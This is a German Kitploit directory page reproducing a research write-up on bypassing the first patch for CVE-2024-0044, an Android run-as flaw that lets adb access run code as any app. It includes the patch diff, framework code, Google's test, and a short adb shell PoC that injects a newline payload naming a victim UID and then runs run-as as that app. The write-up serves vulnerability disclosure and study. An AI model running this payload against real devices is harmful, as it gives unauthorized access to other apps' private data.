Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-0044 — RunAsAnyone: PoC und Write-up zur Umgehung des ersten Patches von CVE-2024-0044, einer Android-run-as-Schwachstelle, die eine Rechteausweitung von adb auf installierte Apps ermöglicht | Kitploit
Tools/GitHubGitHub/canyie/cve-2024-0044
Android-SicherheitPrivilege EscalationSchwachstellenanalyseExploitationMobile SicherheitPapers & ForschungLernen & BildungBinary-Exploitation
GitHubcanyie/cve-2024-0044

CVE-2024-0044

RunAsAnyone: PoC und Write-up zur Umgehung des ersten Patches von CVE-2024-0044, einer Android-run-as-Schwachstelle, die eine Rechteausweitung von adb auf installierte Apps ermöglicht

Repository anzeigen
18029vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-0044/A-307532206 ist eine Schwachstelle mit hohem Schweregrad im Android-Framework, die es Angreifern mit ADB-Zugriff ermöglicht, beliebigen Code unter der UID einer beliebigen App auszuführen. Sie wurde ursprünglich von Tom Hebb vom Meta Red Team X gefunden. Im Internet finden sich viele Artikel zur Ausnutzung dieser Schwachstelle, wie dieser und dieser. Weitere Informationen finden Sie in diesem Blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

Der Patch für diese Schwachstelle ist im Android Security Bulletin vom März 2024 enthalten, aber jetzt habe ich einen Exploit entwickelt, der den Patch umgeht. Der neue Patch ist im Android Security Bulletin vom Oktober 2024 unter derselben CVE-ID CVE-2024-0044 enthalten. Android 12-13 Geräte mit einem Sicherheitspatch-Level vor dem 01.10.2024 sind für dieses Problem anfällig.

Dieses Repository enthält einen minimal reproduzierbaren PoC und eine Beschreibung.

Was ist falsch am ursprünglichen Patch?

Der Patch fügte eine Validierung für den Installer-Paketnamen hinzu, der an den PackageManagerService übergeben wird:

root@kitploit:~
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

Man sieht, dass params.installerPackageName auf null zurückgesetzt wird, wenn es sich nicht um einen gültigen Android-Paketnamen handelt. In der nächsten Zeile kann requestedInstallerPackageName jedoch installerPackageName sein, wenn params.installerPackageName null oder ungültig ist.

Was ist installerPackageName?

Schauen wir uns die Methode createSessionInternal an, in die der Patch eingefügt wurde:

root@kitploit:~
    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

Man sieht, dass installerPackageName ein separates Argument ist, das nicht aus param stammt. Der ursprüngliche Patch validierte params.installerPackageName, vergaß aber, installerPackageName zu validieren.

Reproduktion

Sie können einfach den ursprünglichen Exploit-Code aus Tom Hebbs Blog verwenden, um ihn zu reproduzieren. Dieses Repository enthält auch einen minimal reproduzierbaren PoC. Wenn Sie meinen PoC testen möchten, bauen Sie ihn einfach, schieben Sie die generierte APK nach /data/local/tmp/poc.apk und führen Sie den folgenden Code mit adb shell aus:

root@kitploit:~
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

Ersetzen Sie <victim uid> durch die UID der Ziel-App.

Wenn Sie das Spiel noch einmal spielen möchten, führen Sie adb uninstall top.canyie.cve_2024_0044 aus und führen Sie den obigen Code erneut aus.

Wie konnte das zweimal passieren?

Das Problem scheint offensichtlich – wie konnte es allen entgehen?

Nun, Google hat einen Test für dieses Problem hinzugefügt, um sicherzustellen, dass es behoben ist:

root@kitploit:~
            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);

                        // Without fix, 'appPackageName' and 'installerPackageName' does not undergo
                        // internal validation and are set to 'vulnPackageName' which contain '\n'
                        if (vulnerableAppPackageName != null
                                && vulnerableAppPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.appPackageName'");
                        }
                        if (vulnerableInstallerPackageName != null
                                && vulnerableInstallerPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.installerPackageName'");
                        }
                    });

            String errorMessage =
                    "Device is vulnerable to b/307532206 !!"
                            + " packages.list newline injection allows"
                            + " run-as as any app from ADB"
                            + " Due to : Fix is not present for ";
            assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
                    .that(vulnerableFields)
                    .isEmpty();

Der Test verwendet die öffentliche Standard-PackageInstaller-API, die keine Anpassung von installerPackageName erlaubt. In der öffentlichen API wird installerPackageName immer auf den tatsächlichen Paketnamen des bereitgestellten Context gesetzt:

root@kitploit:~
    public int createSession(@NonNull SessionParams params) throws IOException {
        try {
            return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
                    mUserId);
        } catch (RuntimeException e) {
            ExceptionUtils.maybeUnwrapIOException(e);
            throw e;
        } catch (RemoteException e) {
            throw e.rethrowFromSystemServer();
        }
    }

Wenn der Aufrufer eine Drittanbieter-App ist, ist installerPackageName garantiert der des Aufrufers; wenn der Aufrufer ADB ist, wird es immer auf null zurückgesetzt, also scheint das in Ordnung:

root@kitploit:~
        String requestedInstallerPackageName =
                params.installerPackageName != null ? params.installerPackageName
                        : installerPackageName;
        if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
            params.installFlags |= PackageManager.INSTALL_FROM_ADB;
            // adb installs can override the installingPackageName, but not the
            // initiatingPackageName
            installerPackageName = null;
        } else {
            if (callingUid != Process.SYSTEM_UID) {
                // The supplied installerPackageName must always belong to the calling app.
                mAppOps.checkPackage(callingUid, installerPackageName);
            }
            // Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
            // caller.
            if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
                if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
                        != PackageManager.PERMISSION_GRANTED) {
                    mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
                }
            }
        }

Allerdings findet die Operation statt, nachdem requestedInstallerPackageName auf installerPackageName gesetzt wurde, sodass der ursprüngliche Wert erhalten bleibt.

Wenn sie jedoch anstatt ihres eigenen Tests den ursprünglichen PoC von Tom Hebb ausgeführt hätten, hätten sie das Problem bemerken können, da der pm-Befehl die zugrunde liegende createSession-Methode mit einem angepassten installerPackageName aufruft.

Noch eine Frage: Warum wurde das Problem nicht von anderen bemerkt, obwohl der PoC öffentlich zugänglich ist?

Nun, diese Schwachstelle wurde von vielen Leuten im Internet analysiert, reproduziert und ausgenutzt, und es gibt einen Artikel von Qidan He (flanker) vom JD Dawn Security Lab (das ist übrigens ein sehr interessanter Artikel über CVE-2024-31317), in dem steht: "其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp" ("CVE-2024-0044 wurde in der technischen Community wegen seiner Einfachheit und Direktheit weitgehend analysiert und öffentlich ausgenutzt"), aber niemand bemerkte es, als ob alle unter einem Bann stünden.

Tatsächlich hat jemand den Exploit erfolgreich auf gepatchten Builds reproduziert, aber der Autor scheint nicht zu verstehen, was passiert ist. Ich fand es durch eine Code-Überprüfung und meldete es am 16. Mai 2024, zwei Monate nach Veröffentlichung des ursprünglichen Patches. Wenn jemand vor mir nur ein paar zusätzliche Sekunden damit verbracht hätte, den Patch genau anzusehen, oder einfach versucht hätte, den PoC auf gepatchten Builds auszuführen, um zu sehen, ob das Problem tatsächlich behoben ist, wäre die Bug-Bounty an ihn gegangen. Das klingt wie ein chinesischer Liedtext: „再多看一眼就会爆炸“ ("Noch ein Blick und es explodiert").

Tool herunterladen